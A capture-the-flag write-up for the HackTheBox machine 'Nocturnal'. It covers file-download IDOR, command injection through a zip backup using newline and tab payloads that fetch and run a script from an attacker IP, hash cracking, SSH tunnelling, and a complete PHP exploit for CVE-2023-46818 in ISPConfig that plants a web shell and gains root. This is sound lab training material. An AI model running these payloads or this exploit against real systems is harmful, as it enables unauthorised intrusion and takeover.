- Difficulty: Easy
- Target: HackTheBox [Nocturnal]
- Type: Comprehensive Penetration
GetShell#
First, scan the ports and find that ports 22
and 80
are open.
nmap -Pn -sT 10.10.11.64 --top-ports 1000
HTTP requires a domain name to access, the domain is nocturnal.htb
, and upon opening it, it is found to be a website that allows file uploads.
You can register a random user to log in and check, upload a PHP file, and find that there is a whitelist restriction on the uploaded file extensions, which seems difficult to bypass. Hint: Invalid file type. pdf, doc, docx, xls, xlsx, odt are allowed.
So let's follow the normal process and try uploading a PDF first. The uploaded file appears in the file list, and a download interface is found.
http://nocturnal.htb/view.php?username=aaa&file=file.pdf
Testing reveals that this interface does not have strict authentication, allowing for username brute-forcing to download any user's uploaded files, using Burp to run a username dictionary.
Found the user amanda, and discovered a privacy.odt
file, which can be opened with Word, containing the user's initial password information.
Log out and log back in successfully using the initial password for the amanda account, and find access to the admin panel. The PHP source code can be seen for source auditing.
It is found that the Backup function is implemented using the zip
command, and the password
variable can be controlled by the user, but it has undergone a layer of blacklist processing. Key code:
function cleanEntry($entry) {
$blacklist_chars = [';', '&', '|', '$', ' ', '`', '{', '}', '&&'];
foreach ($blacklist_chars as $char) {
if (strpos($entry, $char) !== false) {
return false; // Malicious input detected
}
}
return htmlspecialchars($entry, ENT_QUOTES, 'UTF-8');
}
$command = "zip -x './backups/*' -r -P " . $password . " " . $backupFile . " . > " . $logFile . " 2>&1 &";
$descriptor_spec = [
0 => ["pipe", "r"], // stdin
1 => ["file", $logFile, "w"], // stdout
2 => ["file", $logFile, "w"], // stderr
];
$process = proc_open($command, $descriptor_spec, $pipes);
if (is_resource($process)) {
proc_close($process);
}
I tried to bypass this for a long time without success, and finally saw someone else's WP and found that %0a
can be used to truncate, and %09
can be used as a space. The final payload constructed is as follows:
# Download remote script to local
password=%0abash%09-c%09"wget%09http://10.10.14.45:8089/1.sh"&backup=
# Execute script
password=%0abash%09-c%09"bash%091.sh"&backup=
Successfully reversed the shell, the user is www-data
, and in the user directory, there is a nocturnal_database
folder containing an nocturnal_database.db
SQLite database. Downloaded it and found that the users
table contains the following data.
4 tobias 55c82b1ccd55ab219b3b109b07d5061d
The user tobias
also exists in /etc/passwd
, so consider cracking the password to perform an SSH brute-force.
hashcat -m 0 tobias.hash rockyou.txt
Using the cracked password, I can successfully log in via SSH and obtain the user flag.
Privilege Escalation#
Use ss
to check the open ports on the server.
ss -tulnp
Found that port 8080 is open. I tested it with curl
, but there was no response, which misled me; in fact, accessing it via a browser still shows content.
To facilitate, I directly used SSH
to proxy the server's 8080
port to my local 8787
.
ssh -L 8787:127.0.0.1:8080 [email protected] -N
Accessing it reveals a server management panel ISPConfig
.
Continuing with brute-forcing, the username admin
and the password previously cracked with hashcat slowmotionapocalypse
, successfully logging in.
In the Help option, I found the version information.
ISPConfig Version: 3.2.10p1
However, I couldn't find a corresponding PoC in Exploit DB; they were all quite old. I found a POC online that can be exploited directly.
<?php
/*
------------------------------------------------------------------------
ISPConfig <= 3.2.11 (language_edit.php) PHP Code Injection Vulnerability
------------------------------------------------------------------------
author..............: Egidio Romano aka EgiX
mail................: n0b0d13s[at]gmail[dot]com
software link.......: https://www.ispconfig.org
+-------------------------------------------------------------------------+
| This proof of concept code was written for educational purpose only. |
| Use it at your own risk. Author will be not responsible for any damage. |
+-------------------------------------------------------------------------+
[-] Vulnerability Description:
User input passed through the "records" POST parameter to /admin/language_edit.php is
not properly sanitized before being used to dynamically generate PHP code that will be
executed by the application. This can be exploited by malicious administrator users to
inject and execute arbitrary PHP code on the web server.
[-] Original Advisory:
https://karmainsecurity.com/KIS-2023-13
*/
set_time_limit(0);
error_reporting(E_ERROR);
if (!extension_loaded("curl")) die("[-] cURL extension required!\n");
if ($argc != 4) die("\nUsage: php $argv[0] <URL> <Username> <Password>\n\n");
list($url, $user, $pass) = [$argv[1], $argv[2], $argv[3]];
print "[+] Logging in with username '{$user}' and password '{$pass}'\n";
@unlink('./cookies.txt');
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "{$url}login/");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_COOKIEJAR, './cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, './cookies.txt');
curl_setopt($ch, CURLOPT_POSTFIELDS, "username=".urlencode($user)."&password=".urlencode($pass)."&s_mod=login");
if (preg_match('/Username or Password wrong/i', curl_exec($ch))) die("[-] Login failed!\n");
print "[+] Injecting shell\n";
$__phpcode = base64_encode("<?php print('____'); passthru(base64_decode(\$_SERVER['HTTP_C'])); print('____'); ?>");
$injection = "'];file_put_contents('sh.php',base64_decode('{$__phpcode}'));die;#";
$lang_file = str_shuffle("qwertyuioplkjhgfdsazxcvbnm").".lng";
curl_setopt($ch, CURLOPT_URL, "{$url}admin/language_edit.php");
curl_setopt($ch, CURLOPT_POSTFIELDS, "lang=en&module=help&lang_file={$lang_file}");
$res = curl_exec($ch);
if (!preg_match('/_csrf_id" value="([^"]+)"/i', $res, $csrf_id)) die("[-] CSRF ID not found!\n");
if (!preg_match('/_csrf_key" value="([^"]+)"/i', $res, $csrf_key)) die("[-] CSRF key not found!\n");
curl_setopt($ch, CURLOPT_POSTFIELDS, "lang=en&module=help&lang_file={$lang_file}&_csrf_id={$csrf_id[1]}&_csrf_key={$csrf_key[1]}&records[%5C]=".urlencode($injection));
curl_exec($ch);
print "[+] Launching shell\n";
curl_setopt($ch, CURLOPT_URL, "{$url}admin/sh.php");
curl_setopt($ch, CURLOPT_POST, false);
while(1)
{
print "\nispconfig-shell# ";
if (($cmd = trim(fgets(STDIN))) == "exit") break;
curl_setopt($ch, CURLOPT_HTTPHEADER, ["C: ".base64_encode($cmd)]);
preg_match('/____(.*)____/s', curl_exec($ch), $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}
Usage:
php CVE-2023-46818.php http://localhost:8787/ admin slowmotionapocalypse (base)
[+] Logging in with username 'admin' and password 'slowmotionapocalypse'
[+] Injecting shell
[+] Launching shell
ispconfig-shell# whoami
root
Privilege escalation successful, obtained the root flag.
Summary#
Looking back, this challenge felt quite realistic in terms of penetration testing, with a bit of difficulty, mainly getting stuck on the sh password bypass for a long time, as my fundamentals were not very solid; other areas followed the thought process without major issues.